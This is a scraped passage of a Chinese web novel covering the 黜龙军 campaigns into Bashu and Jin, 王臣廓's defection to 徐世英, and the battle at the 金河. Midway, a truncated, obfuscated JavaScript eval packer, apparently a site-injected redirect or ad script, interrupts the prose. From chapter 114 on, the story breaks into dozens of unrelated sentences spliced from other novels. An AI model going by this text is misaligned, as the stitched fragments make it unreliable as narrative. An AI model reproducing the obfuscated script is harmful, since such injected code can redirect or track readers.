等到下午淮右盟的水军抵达后,更是浩浩荡荡,直接开始了逆流推进……卡了黜龙军南线足足小半年的松滋-枝江江心洲对峙彻底宣告结束。 夫复何求呀? 当然,话还得说回来,不能完胜总会造成麻烦,翌日,正月十一,阳光明媚。随着黜龙军兵不血刃夺取夷道,前一天未尽全功的恶果开始出现——白立本完全放弃了水军和大江航道,带着很难统计但绝对有相当数量的残兵,从夷道这里顺着清江逃入了清江郡。 于是乎,夷道城内,一个争论理所当然的出现,是要先追击他们,还是跟时间赛跑,继续西进,直接入蜀?! “我们已经破了韦胜机,他们再来个宗师也不是咱们龙头对手,反倒是万一全军涌入,水道狭窄绵延,白立本这一两万人忽然出来,自后方堵塞我们,或者拦截粮道,都是个麻烦。” “白立本一堆溃军,自家都没了粮食,很快就会自散,如何出来截我们的粮?” “清江郡是一个套筒,里面是有几座城的,而且更深处还有不少熟蛮,也能引诱……反过来说,现在直接去打,反而非常容易。” “现在去哪儿都容易……赶紧入夷陵,过巫峡,夺了白帝城,他们孤悬在外,很快就会自溃。” “不错,几万溃军,缺衣少粮,不足为虑,尤其是我们夺了巫峡以后,他们根本无能为……” “若是他们得到更多支援呢?或者只是幌子呢?” “什么意思?” “那我直说好了。”林士扬终于不耐,扭头看向了白有思,语气忽然又变得恳切起来。“白龙头,我们既然斩杀了韦胜机,击破了江上之敌,还要继续西进巴蜀,与此同时,张首席也追击白、白皇帝往武关去了,今日还有一个新情讯,说是李龙头已经破了东部巫族……种种事例摆在这里,便是稚童也晓得,天下大势已经偏转……那敢问,操师御跟萧辉还会继续对立吗?敢问所谓南梁上下还会继续支持我们抵御大英吗?我们走后,万一他们真的往上游过来,只靠周龙头,果真能抵挡?” 刚刚一直与林士扬争辩的杜破阵冷笑一声,本想嘲讽,却在瞥了座中一人后保持了沉默。 “罢了!罢了!”眼见着白有思也来看自己,谢鸣鹤一声叹气,站起身来。“白龙头,你们继续西进,我折回江东便是。” “谢总管折回去干什么?”白有思认真来问。 “想法子劝降他们,至不济拖住他们。”谢鸣鹤状若轻松。 “没必要。”白有思正色道。“只要平定了关西,江东之事,不过是我再回身顺江而下走一遭的事情。” “怕的就是这个!”谢鸣鹤苦笑一声,心中暗道,却没有说出口。 “白龙头所言极是。”孰料,今日才追上来且一直沉默的周效尚忽然开口。“谢总管,巴蜀富庶,而江东和江都那摊子烂事,便是他们想和解,怕也不是一时半会儿能消停的……只要十天半个月,我们大军越过白帝城,将富庶的巴郡握在手,他们想折腾,加上白立本那一两万溃兵一起折腾,也不耽误我们继续扫荡蜀地。至于说我这里,能守则守,不能守坚壁清野,将船只、粮草往襄阳送,拖延他们便是。真有万一,我便弃了荆襄九郡,带一些兵马北上南阳,协助张首席攻伐武关。委实不必忧虑的。” 白有思再三点头认可。 可谢鸣鹤还是不说话。 这个时候,杜破阵终于叹了口气并扭头看向了谢鸣鹤:“谢总管,有些话你与白龙头不方便说,我来说便是——你是前日见到韦胜机黄云似乎当年江神杨斌,却被白龙头三剑来破杀,再加上如今这个局势,担心若不能处置好江东……或者咱们干脆一点,就是江东那些人不知轻重,不晓明暗,硬是自己撞上来,到时候万一是李龙头、单龙头这种人来主持局面,不免又会来一轮杀戮,所以才自请回身,想要控制局面,扯一扯他们,是也不是?到底是乡人嘛!” 谢鸣鹤黑着脸点了下头。 “白龙头,你其实已经晓得谢总管心意,但谁也不知道那些人会不会犯蠢,也不好直接予以承诺,更担心谢总管此行之安危,不愿意他回江东,偏偏又不好阻止,是也不是?”杜破阵继续来问。 “自然如此。”白有思尴尬点头。 “那这事情好办。”杜破阵终于失笑。“两位,我有个两全其美的法子……你们看,谢总管继续随白龙头西进巴蜀,我跟林将军一起回江东如何?” 众人一愣,倒是林士扬眼皮当场一跳。 而杜破阵早已经从容解释了起来:“我们就说,谢总管请来了冯府君这些人,局势大变,而白龙头斩杀了韦胜机后,眼见大势已定,趁势夺了我跟林将军的兵马地盘,我们无法立足,只能各自去找他们……到了那里,不就是想法子让他们内耗,拖延时间吗?我跟林将军须不是什么废物。” 众**多还在沉默,因为他们已经反应过来了,这杜龙头竟然也忧心自己之前姿态不够正了。 不至于吧?你淮右盟的根基是跟黜龙帮交织最深的,多少个头领、大头领、地方上舵主、军中**都是沾着你杜盟主色的,你都开始这样,让其他人怎么办? 这大江上哪个不是初来乍到的? “那就这么办!”坐在上首的白有思眼瞅着谢鸣鹤朝杜破阵认真一礼,毫不迟疑,一言而定。 正月十一当日下午,几乎没有多余停顿,打着黜龙军旗号,实际上只有王厚从徐州带来几营兵马算是黜龙军却囊括了部分荆襄军、大量湖南降人、几乎全部淮右盟剩余部队的数万联军,以淮右盟淮上水军为先锋、荆襄军为后卫,果断扔下了逃入清江郡套筒的韦胜机-白立本残部,继续逶迤西进,直扑白帝城。 当然,他们不晓得的是,就在同一日,河北也在进行着一场巨大的进军行动。 与大江之上集中于一线逆流而上的进军不同的是,再度被召唤起来的黜龙军河北主力与一直投入战斗的晋北、武安两个小行台一起,是按照既定计划兵分多路,然后同时发动了攻击: 一自河内循沁水叩长平;二自武安穿红山叩上党;三自恒山出井陉叩太原;四自晋北叩楼烦关。 四路兵马,齐齐来叩晋地,看旗号,徐世英、雄伯南、周行范、洪长涯、王叔勇、徐师仁等黜龙军方面之任和核心大将都有出现,而且不用想都知道,里面肯定有疑兵,有偏师,有主力……这种明显早有准备且规模宏大的攻击,自然瞬间就让晋地全线震怖。 而很快,原本在河东坐镇,此时刚刚奉命准备北上去接管巫族毒漠防线的宗师鱼皆罗在往渡口路上就忽然收到了至少来自于其中三处的求援,整个人懵在当场。 他现在该去何处?! “本不该多 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“徐副指挥、天王、徐龙头。”陈斌迟疑了一下,决定开诚布公。“你们此去,咱们不讳败,或许还要回来,但眼下局势,说咱们一举成功,那也不算什么意外,那到时候,咱们就不知道什么时候什么地方再见了……有件事情,之前王五郎走的时候,我就私下跟他说了,现在你们也要走,正好魏公也在这里,我一定要公开说出来。” 徐世英、雄伯南、徐师仁一起拱手,魏玄定也捻须侧身来听。 “之前帮里私下有句话说的极好,不晓得是说咱们帮里这些龙头,还是说当日你们建帮时几位大头领,说你们其实没一个好相与,我深以为然。” 陈斌扶着剑,在早春夕阳下言辞谨慎,俨然是不想造成误解。 “其实,按照我在大行台这些年的经历和看法,哪里是区区这几人,帮中上下,就没有谁是个好相与的! “只不过有的人野心露在外面,有的人藏在里面;有的人营私手段高明,有的人吃相难看;有的人自诩高门,看不起其他人,却不想同样有些人自底下爬上来,素来不择手段;有些人愚若农氓,一点兵权都不舍得撒开,有些人却好高骛远,总是想着一些不着调的前途。 “更不要说还要计较纷争,你是河北人,我是河南人;你是大行台的,我是下面地方行台的;你是建帮元从,我是前魏降人;你是武夫,我是刚刚科考过来的文修……他们相互之间就是不对付。 “你们说对不对?” “这谁不知道呢?”雄伯南一声叹气。“但大家到底还能团结一致的。” “这就是要害所在,为什么咱们黜龙帮能团结一致?为什么没有分崩离析?为什么李枢走了,都没有引起内乱?为什么还能做到如今规制,天下在望?”陈斌接上此话,连番发问。 “自然是因为……因为张首席英睿坚决吧?”魏玄定捻须言道,语气却显得有些飘忽。 “诚如此言!”陈斌忽然按着长剑扬声相对。“诚如此言!非张首席,便是有黜龙帮,不过是局促于河南济水两岸,然后要么一头栽到东都,要么跟河北这边拼的你死我活,最后被大英出关一把卷走!非张首席,便是有黜龙帮,便是越过大河界限,且熬到了今日,也免不了内乱更迭、制度缺损,你来争,我来抢,一直到今日才晓得建设制度,规范路线,然后依旧免不了被大英一席卷走。” 话到此处,陈斌一手按剑,一手指向在场的几位龙头,最后落在自己身上:“诸位……非张首席,咱们几位莫说聚在一起做事情、伸展志向乃至于廓清天下了,只怕早就在什么角落里相互搏名厮杀,成者流窜为他人犬,败者为路边骨了,你们谁能否认?” 魏玄定、徐世英、雄伯南都没有吭声,只是等待陈斌继续言语,因为他们已经猜到了对方要说什么,徐师仁想附和,但其他人都没有开口,他也只能闭嘴静待。 “几位,魏公。”陈斌先扫视了一圈,后落在了身侧魏玄定身上。“我晓得五年期限还不足,我也晓得,这个国主不是你自求的,反而是首席本人看不上这个国主之位,还有些要借他身份强化咱们黜龙帮地位的意思……但时日不同,局势也不同了,若是我们这一回真打到长安,极速大胜下,内外人心都会不稳,而且肯定会有小人投机。” 话到这里,陈斌复又看徐世英等人:“这个时候,你们若能在长安城外会师,那不管皇帝也好圣人也罢国主也行,都无所谓,反正一定要请首席继三辉四御之正统,承大位,立天命!不可有半点迟疑!这是私心,也是公务!关系着帮内之承序,关系着大明之稳定!切切不可迟疑动摇!你们三位,能与我做个承诺吗?” “说的有道理。”雄伯南点了点头。“我想过此事的,正该如此。” 徐师仁地位偏低,他强忍着等雄伯南说完,方才赶紧颔首:“正该如此!陈指挥交代的妥当!首席正该应承天命,属下岂敢不应?!” 徐世英全程面色如常……他一开始就猜到了对方要说什么,因为他本来就想着自己把这事办了的,而反过来说,这话既然被陈斌抢了,那自己反而就没必要过于着急展现态度了。 于是乎,其人本能看向了魏玄定,好像很在乎对方态度一般。 魏玄定原本也很从容,此时看到徐世英状若顾忌的看了过来,当场双手一摊:“正该如此!不过要老夫来说,陈指挥也不必过于把此事当做什么大事,人心向背摆在这里,你看,咱们五人,出身、职务、经历、亲疏、修为全然不同,不是只徐大郎一人迟疑吗?!” 其余三人齐齐去看,徐世英愣在当场,只觉得陈斌开头那段话委实诚恳。 第一百一十三章 送乌行(23) 大河之北、金河之东,正在上演一场激烈的,显得有些短、平、快的战斗。 鱼皆罗没有直接以宗师身份入阵,而是腾起真气,居高临下,从容指挥……他先是下令前军适当后撤,将对方部队调出以扩展战线,随即以千把人的小集群为单位,按照简略的骑、枪、弓、盾等功能予以区别,反复执行防守、冲击、掩护、切入、侧击等战术动作,全军快进快出,尝试达成局部优势,造成杀伤。 相对应的,对面的巫族不是不想指挥,但巫族部落具有自己天然的战斗特性,他们攻击的时候不敢一往无前,往往会在坚阵前退缩,而防守时又往往稳不住阵脚……所以面对这种短平快的密集小型战术,往往会猝不及防陷入其中,然后一旦被人造成客观杀伤,又往往会在还没有达到组织度失控、无法执行战术的境地之前就先行崩散。 不是没有应对方略,突利也好、都速五也好,甚至一些有经验的部落首领全都意识到问题所在——他们本可以利用骑兵的优势,撂开这个战场,从更外围施展骚扰、牵制战术的,但现在他们被锁在这个战场上,根本无法发挥自己的优势。 而锁住这个战场的,不止是河道、毒漠这些地理,也不止是当面的敌人,还有身后与侧翼的友军。 一将功成万骨枯! 隐约或者直接意识到一些事情之后,各方人员反应不一。 黜龙帮远征军的战帅李定已经吃完了饭,在身侧崔傥略显怪异眼神下中正用一种略显欣赏甚至有些欣慰的目光来继续观战……实际上他确实感觉眼前的战场让人赏心悦目,因为鱼皆罗这种小战术打的太漂亮了! 如此密集的战术指挥,却能如此迅速,如此顺畅,以至于让理论上兵力并不弱的巫族大军根本喘不过气来。 不愧是大魏开国时期压得巫族喘不过气的老将、名将,他太知道怎么打巫族人了! 对面的大英元帅鱼皆罗当然不晓得自己被人在心里称赞,他只是很努力的集中精神指挥部队,同时心里的天平也在一直摇晃——一面是部队在迅速取得优势,达成此战目标也似乎就在眼前;另一面却是他也注意到,自己一投入主力,河面上羊皮筏子就停了下来,而且原本集结到河畔的黜龙军重兵集团也开始休整用餐。 这意味着,即便是击败当面之敌,也很可能要遭遇到黜龙军后续主力的反扑!也意味着他必须要在战胜河东当面之敌后,迅速的重新集结部队,打一场艰苦的防御战,直到天黑! 可能依旧会失败,可能需要援军。 战场中央,巫族联军实际统帅突利面色如常,他并不惧怕眼前的残酷,不仅仅是因为他已经知道李定要做什么,更重要的是他早就做好了心理准备,晓得战争就是会如此,只不过这次轮到自己成为代价而已。 成为代价不可怕,关键是能换来什么。 正因为如此,突利的烂翅龙旗周边,一直是巫族混合部队最坚挺的核心,突利利用自己的威望,在这里重整溃下来的部队,然后尽可能的组织部队去发起**,以至于双方大量的部队在他的身前被搅作一团。 堪称目标明确且决绝。 如果说突利是一个成熟将军兼**家,那都速五就是明显失态了……这不怪他,真不怪他,他心里什么明白,可真没当过主将,没见过这个场景,没经验就是会慌张、会动摇,何况事关生死荣辱,部落存亡呢? 正午已过,日头一点点向西面而去,而所有有军事经验的人都已经意识到,河东战局在一点点倾斜,说不得什么时候就会直接倾覆。 然而,事情有趣的地方就在这里。 一个时辰过去了,金河战场这边局势已经摇摇欲坠,却依旧没有达到翻转的临界值,而隔着一个榆林郡,反向突入雕阴郡中徐世英却迎来一个堪称逆转的巨大军情。 “你要投降?”徐大郎看完手中确系张首席亲笔书写画押的无指向劝降信,然后再来看身前拜伏之人,明显有些发懵。 由不得他不发懵,实在是事情翻转的太快了,而且对方的姿态过于决绝了,而对方这个人也大大出乎他所料。 “徐副指挥,不是投降,是按照首席之倡议,及时反正,省的生灵涂炭!”那人抬起头来,昂然做答,赫然是王臣廓。 王臣廓此人对于徐世英而言并不陌生……或者说,整个黜龙帮里稍微长点心的都不会不知道这个人……他之前是跟雄伯南、魏文达并称的河朔豪侠,烟尘四起时自己拉了杆子,诸侯兼并时顺势投了大英,一直是大英在晋地的代表性将领。 此番晋地突然崩溃,其人也是晋人逃亡集团中的二把手,是军事方面的负责人,要不然也不会在白皇帝下令原河东各部北上支援时充当前锋大将了。 然而,就这么一位存在,竟然装扮成寻常巡骑,挂着一套最基础的铁裲裆、裹着一个发黄的旧帻巾、踩着一双磨损极大的六合靴,直接脱离自己的部队过来寻到徐世英,说他要举众投降……不对,是要及时反正! 也难怪徐大郎会有些懵。 你反正,之前那么多年不反正,做了那么多年的顽固分子,甚至晋地全失都不反正,现在来反正? “王将军!”徐大郎忽然一手捏着那劝降信一手扶着腰中惊龙剑站起身来,然后压着步伐走到对方侧后,再回头来看。“你能来反正,我自然振奋,可便是你自己也该晓得,此番来寻我到底有多突兀……白横秋北上又回归,首席大举劝降关中诸将这件事我都是从你这里知道的!你懂吗?我想信你,可你最起码要给我一个说法,让我下决心来信你?!你懂我意思吗?你懂吗?!” “我懂。”王臣廓头也不回,就在原地喘了口粗气。“徐副指挥,大局一日日崩塌,你们胜算一日日增加我就不说了……只说一件事,真正让我下定决心,除了张首席这封信,更是白皇帝无视于我!” “无视你?什么意思?” “就是眼里没有我的意思!”王臣廓单膝竖起,扭过头来,脸上的青筋都抖动起来。“徐总管、徐大郎,你晓得吗?这些晋人若非是我一力维持,半路上就要散掉……我不敢说我比王怀通更重,可也仅次于他吧?而且是不能少的!但他白横秋设计在河东伏击你们,王怀通、韩长眉都知道,就我临到跟前才知道!伏击没成,他来蒲津安抚晋地人心,跟王怀通在府衙里谈了快大半日,还是懒得见我!等到此番出兵,我们晋地残部几乎人人生怨,他竟也只去见了韩长眉,就下了军令,不就是觉得已经见过王怀通吗?我竟然还是没见到他!” 话到此处,王臣廓站起身来,低着头去看脚下黄绿相间的地面,语气放缓,却充斥着一种说不清是愤怒还是沮丧的情绪:“徐副指挥,你懂我的意思吗?大丈夫生于世间,一死而已,我**难道怕死吗?不是不能替他死,但得来见我一次,给我个交代吧?你懂我的意思吗?结果一直到这个地步,他都不愿意见我一次,反倒是张首席隔着弘农和大河,将阎庆这种心腹送来,给我递了亲笔劝降信……你懂吗?” “我懂。”徐世英立在对方身后,盯着对方脖颈,语气怪异,表情似笑非笑,好像是嘲讽,又好似是同情。“我懂。王将军,你的意思我可是太懂了……你在大魏时就是河朔豪侠……为什么做豪侠?还不是觉得自己一身本事,不想跟其他凝丹豪强一样被安置到关中给人做囚徒,整日看关中世族大家的眼色,想求一个更高更体面的位置?但偏偏大魏就是看不上,就是不愿意尊重河朔人,所以只能一直做豪侠。 “到了大魏崩塌,烟尘四起,为什么要自家立杆子,不也是不想寄人篱下吗?为什么看不上我们黜龙帮,反而投了大英,不正是觉得我们黜龙帮没有规制,做不了你在大魏时期朝思暮想的大将军、国公? “可是临到最后,你才发现,白横秋就是眼里没你,就是觉得你王臣廓不过是个河朔盗匪……是不是?” 王臣廓听到一半,便觉得语气不对,转过身来盯住这位投降对方,而听得对方剥开自己的皮囊,又明显承受不住,一时有些羞怒之意。但很快,对方的下一句话让他瞬间丧失了敌意。 “我也是一样的。”话到这里,徐世英忽然以手指向自己,还是似笑非笑,语气却郑重了不少。“王将军,咱们是一样的。只不过,我比你走运些,我当时也看不上黜龙帮这些东西,但张首席不计较,还一直抓着我不放,这才有了今日……可要我说,还不够!” “什么叫不够?”冷静下来的王臣廓有些不解。“你都是大行台副指挥了,相当于相公了。” “相公跟相公也有高低的。”徐世英指向北面。“王将军,我现在信你了,而且有了一个想法” 王臣廓没有吭声,只是看着对方。 徐世英拔出惊龙剑,塞给对方,双目炯炯:“王将军,你晓得我们黜龙帮内情,也该晓得我不想落在李龙头后面,现在他在毒漠那边十之**要成大功、做大事,而我也想立大功、做大事,不让他压过来……你刚刚说,你能带着八千人反正对不对?” “对,那是我的兵,王怀通也放任我管兵。”王臣廓应声,却没有接剑。 “你看,原本是我两万在这里防守你们三万。”徐世英近距离盯着对方,语气飘忽。“可若是你现在回头,做我的先锋,就是咱们三万,去突袭两万毫无准备之敌……宰了韩长眉,吞了当面剩下的两万多兵马,咱们一起立功成事,扬名于天下,让白横秋知道这件事后,懊恼不已,当日竟然无视了你;让首席晓得后振奋不已,不料咱们能成大功……你懂我的意思吗?你懂吗?” “我懂!”王臣廓顿了一下,然后气喘吁吁中接过了对方手里的无鞘长剑。“王某本意就在这里,就在这里!” 话到最后,已经面目狰狞起来,竟喷了徐大郎一脸唾沫星子,而后者根本不闪躲的。 日头继续西斜,就在徐大郎紧急将自己所部的骑兵集中起来准备压在王臣廓部后方协助对方掉头的时候,北面的金河战场上,巫族人终于绷不住了。 做出最后一击的,是鱼皆罗本人。 这么久都打不垮巫族人,甚至隐隐间真的让巫族人搞出了一点背水而战的气势,使得他不敢再等下去了,也使得巫族人时隔数十年,再度于这个战场上见到这位宗师的显化。 跟吐万长论的长弓相比,鱼皆罗的显化非常奇怪,那不是一个什么物件,而更像是一个脑袋!由毒砂构成,口舌鼻目俱全,却只有双目灵活,而且目生双瞳,四下晃动,宛若鬼神,沿着大河之畔往前一推,当者辟易。 而他选择的路线和目标也非常明确,就是靠着大河的都速五那一侧。 都速五完全无法抵挡,直接打马就跑……他的逃窜不仅使得他那一侧迅速崩溃,更重要的是,随着大量英军顺势沿着大河北岸推进,一直坚持指挥的突利及其烂翅龙旗所遮护的中军也迅速陷入到半包围的境地。 然后几乎是立竿见影一般,全军开始动摇。 恰如山崩之初,又似堤溃之始。 “怪不得司马长缨要请他去给司马正做授业。”李定望着折回去的那个鬼神头颅若有所思。“那不是一个头盔吗?!硬生生被他折腾出活物的感觉!崔公,请做好准备,替我们抵挡一二。” 崔傥目瞪口呆,片刻后醒悟,以手指面:“我?!” “不用你战而胜之,拖延个一两刻钟足矣。”李定回头安慰。 崔傥复又去看对岸那完全可视化的数万大军崩溃之态,愈发觉得荒唐:“此等局势,拖延个一两刻钟有什么用?李四郎,李龙头,你这是弄砸了吧?!” 李定没有理会,只是看着对岸局势继续说明:“过一阵子,我喊动手,就请阁下出手……要是一时不支,我们这里还有五六位成丹,都会尽力助你。” 崔傥只是发懵。 其实非只是崔傥,金河西岸这边,饶是全军都在休整,可当此局面,还是引发了许多人的恐惧与不安……沿河各营的黜龙军军官按照之前的布置,要求所有基层军士不得起身观战,但他们自己在马上猛一回头的时候,也还会心底一颤。 只能说,幸亏有一条金河给了所有人基本的安全感,再加上远征军人足够多,营寨又都在金河西岸深处,而且足够长,足够复杂,遮挡了大多数视线,否则不知道闹出什么乱子呢。 转回金河东岸,兵败如山倒真不是假的,随着局势越过临界值,全局的崩溃速度越来越快,这边右翼崩下来的都速五部刚刚有人脱掉甲胄跳入河口在李定眼皮子底下被冲走,几乎是一眨眼的功夫,中军突利的烂翅龙旗也被裹着往河这边来了。 随即,就连被认为军阵坚固且此番并没有遭遇到重大损失的左翼数营,也都立不住阵脚,然后狼狈向金河逃窜,却又因为金河那里溃军太多,本能往更 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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而几乎是同一时刻,远处半空中同样在观察战场的鱼皆罗忽然觉得哪里不对劲……只是一名宿将的素质压着他的这种不安感,使得他继续观察与等待,而眼见着有中郎将级别的人追过金河后,其人眉头微皱,便想按照预案,立即下达军令,要全军折回在东岸立阵,不得追索深入……但也就是这个念头浮起来的时候,这位宿将猛地一惊,意识到了问题所在。 金河的浅滩太多了! 而且巫族人因为有马,所以逃得相当顺畅! 两者叠加,使得英军几乎是在追索过程中就能轻易且顺理成章的越过河去! 而对岸之前就知道,是有黜龙军嫡系重兵在等待的! 这是陷阱! 意识到这一点后,他刚要不顾一切翻身到前面河道中亲身阻拦……却不料,一页书卷忽然自河对岸飘然而至,想要将他整个人裹住,而且书页后面还有三道光芒自后方涌来助阵,也是惊得这位宗师赶紧放出那个头盔来做遮护。 于下方来看,这一幕无足轻重,好似是黜龙军为了接应败军,防止鱼皆罗追索过度一般。 就这样,兵败依旧如山倒,追兵依旧似狂潮……不过一两刻钟而已,金河各处就都有英军追兵奋勇争先越过了浅滩,来到了东岸,而且全都因为追索而丧失了建制与军阵序列。 而崔傥当然也没有顶住人家鱼皆罗,很快也支撑不住,在三位成丹的接应下逃了回去。 这下子,英军士气愈发高涨,全军振奋! 可他们的元帅鱼皆罗望着这胜利如斯的一幕,却如坠冰窟……他已经意识到了,就算是刚刚他想尝试阻拦,怕是都无法控制局面,而现在他更是要面对一个绝望的选择,到底是继续传达军令,要所有人撤回来,还是干脆下令,全军向前,朝着对方陷阱口袋一鼓作气呢? 没错,李定的计策他其实已经完全醒悟过来——这不能算诈败伏击,而是真败反扑,对方就是要用具有相当兵力巫族大军的崩溃引发同在交战中英军的失控,继而用被金河隔断的后续伏兵发动反扑,解决战斗。 这是最残忍的却又最稳妥的胜利方式,牺牲掉一部分兵马,换你失控,胜败你都要失控,对于大兵团来说,一旦失控就将丧失指挥余地!而我,还有更多的成建制的兵力在等你过来,以图后发从容围歼! 没有耽误太长时间,也容不得他耽误时间,鱼皆罗很快有了判断,如果此时下令撤回来,同样是没法控制局面的,大军会因为失去建制和冲突的军令失控在金河与金河东岸,对方的后续兵马反扑回来,一样没有抵抗能力。 那就拼吧! 一念至此,鱼皆罗翻身来到下方,对自己的亲卫们传达了要他们去各处要求全军向前的军令后,再度腾起,却是径直越过金河,亲身向前! 李定望着这一幕,砸吧了一下嘴,鱼皆罗临到最后一刻也没有失误的表现让他产生了一种强烈的满足感,他觉得自己四肢百骸都在颤抖,都有真气在流窜,好像身体要关不住他们一般。 他知道,自己跟瘫在一侧石头上的张世昭一样,来到了那一刻。 下一刻,李定用尽了全身力气压制住了自己体内的汹涌澎湃,用最平常的语气告知身侧的文书与参军们:“出兵!让沿河部队全线出兵,让营寨里的荡魔卫与北地诸部放弃营寨,反扑出来!让突利举着他的龙旗带着巫族逃兵引着这些追兵往北面走!告诉所有人,我不要缴获,距离天黑还有三个时辰,我只要杀伤!” 话音既落,周遭等候许久的文书、参军们轰然离散,去往各部,而他们刚刚才上马,还没跑出去几十步,便闻得身后有人一声长啸。 这一声,从声量上来说,根本无法跟战场的喧哗相提并论,但有修为的人全都注意到了这一声堪称震动河漠的长啸。 就连远处毒漠中的几名毒漠行者与殷天奇,也都齐齐停下动作,望向南方。 包括此时刚刚追入河道的陈凌,也好像忽然意识到了什么,却只能茫然立在了金河中央,一时不知所措,然后又被胯下马匹带着,随从周围无数英军一起冲上西岸。 反倒是榆关关城上的窦濡,此时还有一点余地,晓得自己不能再等,他直接朝自己的副将常负拱手:“常将军!你诚恳告诉我,你到底是不是黜龙军的间谍……是的话,咱们一起开关,不是的话,请你去榆林城,随我叔父一起走。” 常负终于开口:“我是间谍,首席和单龙头、李龙头都知道我……但我觉得,咱们应该一起去榆林城。” 下午的阳光下,窦濡扶着额头跌靠在关城的城垛上,一时无言,而隔着一条金光粼粼的大河,远处的两军竟几乎一起振奋起来,杀声震天动地! 第一百一十四章 送乌行(24) 夕阳西下,金河已经被尸体堵塞,以至于河水四溢。 平心而论,黜龙军和关西军之间不是没打过惨烈的战斗……不说远的,就这大半年内,河内战场、南阳战场都出现过大量伤亡,而现在,又出现了一次金河之战。 只是,战斗跟战斗是截然不同的,伤亡惨重与伤亡惨重也不是一回事。 河内一战,之所以出现数以万 身为龙鳞战队成员,又是龙鳞战队的队长一职,无时无刻,他的形象问题,都是代表着整个团队的。 又是怪叫一声,伊斯塔的机甲度,再一次的被提起,耍出几个高难度的飞行姿态,然后对着冲上来想要报仇的敌人,就是一番戏耍式的攻击。借用许多风骚走位,灵动的漂移,不仅回避有全部的攻击,同时还接连将敌军击毁。 至少在石慧和孩子们接触过的仅有几个波利亚人都非常友善。他们有着傲人的智慧,不需要基因改造就能得到较长的寿命,却从不以此为傲,用一种平等地态度对待其他种族。 说白了一句话,杨霖与那些个跳脚的臣子们画风不同,在当下的情况,很刷了一把好感度。 “那一定是公子你看错了,我与爷爷第一次进城,并未见过公子。”苏荷脆声道。 解决了这些,叶殊的目光落在被生长的草木推挤出来的一颗卵上。 金光对于这封信虽然半信半疑,可他到底将阴月皇朝看的极重,当下点了高手出京。玄心正宗的人一出京城,石慧就明白他们必然是奔着阴月皇朝而去。石慧尾随金光之后,金光带人在某地安营扎寨,仿佛在监视什么。 “他的头发不多,大部分都白了,衣服全部被脱掉,连一块布料都没有给他剩下。 秦力闻言点头,心中渴切的着回归地球,也在期盼着见到姬如钰和黑玫瑰两人。 信国公府尘世子天资纵横,被誉为不世出之才,若是能有一副健康的体魄,怕是都要没别人什么事了。老天爷太过公平又太过残忍,非要剥夺那份完美,留下缺憾,而这缺憾也正是所有人都为杨绪尘叫屈之处。 这帮记者的提问都十分犀利,以至于杨间根本就不知道该怎么回应。 这几人满脸纠结,面对着问题时,颇有一丝焦头烂额,显得那般无可奈何,揉了揉头。 她这一个用力,洛云禾的发际也跟着散了下来,正好遮挡住了她的脸。 郭靖也想复活所有的人,但是他现在这个时候也知道,并不是什么事都能那么容易的。 周异注意到,崔茂右手枪拳已经恢复如常,说话时伴双手也习惯式地比划。 王语嫣一脸笑意的说着,他觉得这个事情只要慕容复相信他就行。 即便,真的不打算放过得罪自己的人,也会选择换别的惩罚,真的让人吃翔,这太羞辱人了。 当然江晨丝毫不怀疑,他这一艘飞船之上绝对也有着弗利沙的监听设备,不过这并不重要。 而她自己,则会选择在白天前往隔壁镇子。由于她提供的报酬丰厚,村里的这名男子对苏景宣的照顾可谓尽心尽力。 最初周异缺人手,希望从蟊谷镇招人来开荒种田。后来他发现这事有些一厢情愿了,当地人就不会耕种,而且是昼伏夜出的夜猫子习性,雇过来也没用。 昆封脸色愈来愈难看,对着楚阳咬牙切齿,如果这一切正路他所言的话,那么今天万兽教有大麻烦了。 第一百一十五章 送乌行(25) 天亮的时候,冲和道长已经在亭子里坐了一整夜,在他面前的石桌上,赫然摆着几根长短不一却整齐码放的木棍。而整个夜晚,他都在抵御自己抓起木棍在双月下抛出的冲动。 之前数日,尤其是中旬以后,即便是长安少年郎也能察觉到气氛不对劲,大英的最后一支核心主力外加皇帝、大宗师本人被钉死在关中,只能枯耗时日,静待 他也在那个大壶中参悟了玄机,突破指日可待。此外,他还在一口井中得了件防御法宝。不过他们宗的其他人就没这么好命了,也是只带出来些材料而已。 “砰、砰!”犹如脑后长眼,飞足再踹开两个不要性命扑上来的道士,林隐抬脚跨上了白玉石阶。 长刀一横,就在未来准备砍千手扉间几刀的时候,千手柱间来了。 但她并不想多嘴劝阻姬澄澈,更晓得这家伙和林隐一样既倔又犟,当下拂出天青眉影抓住一名落水之人,将她送上冰面。 板栗跟葫芦说,他们已经叫了佃户的娃儿,下午去地里帮忙秋收。 来到墙壁跟前,白凡一把抓住一块凸起的石块,用力一旋转,墙上立即开了一扇门,现出一条通道。 他们同意联合对付林硕,那是因为天阶元器,现在很明显是无法得到天阶元器了,那就没有必要和林硕结怨了,更何况这秘境遍地是宝,与其在这里浪费时间,不如自己去寻宝了。 倒是来接他的阿澈还特地把头从车窗里伸出来和她说再见。看着远去的车子,辛晴眼圈不由的又红了红,吸了吸鼻子跑回房间就看到桌子上的钻石,打开盒子,璀璨的光华在高水平切割的粉钻上流转,辛晴忍不住裂开嘴角。 最主要的问题就是出在对火候的控制之上,还有剑胚的锤炼之上。 “我要去睡觉。”苏苏面无表情的挂断电话,把自己卷进被子里。 吴琛愣了一下,这算什么回答?什么叫我能看到你?这是什么意思? “送我回家…”其实周围很多跟高老师熟悉的人都看到了,但是这些人都没有赶过来的。 或者早就已经泯灭在历史的长流之中了,无奈的叹息一声,突然又想起了一件事,对着幽骨魔尊再次问道。 对大贤良师张角,张梁,张宝等有信仰的造反者来讲。造反初衷就是为了换天,招安是很难的,殉教反而轻松。 听到陆枫的话,青年先是一愣,随后哈哈大笑,看向陆枫的眼神也好像看白痴一样。 余一尘心里暗骂艾尔-哈 灵顿“甩锅”,动作上却要开始应付克里斯-波什的就地逼抢。 感受着四周惊人的气息和牢牢的结界之力,冷茂云和白宏硕都是微微一惊,内心产生了一丝恐惧的心理。 吾明很是新奇的看着这些生灵,月灵的提醒让他也感受到了这些生灵身上那庞大的仙力。 余一尘去酒店的健身房锻炼,却不知道他发布的这条动态让这件事情的舆论风暴刮的更加凶猛。 被他这样看着,自己根本无法说话,心在蹭蹭直跳,难道自己也在期待吗? 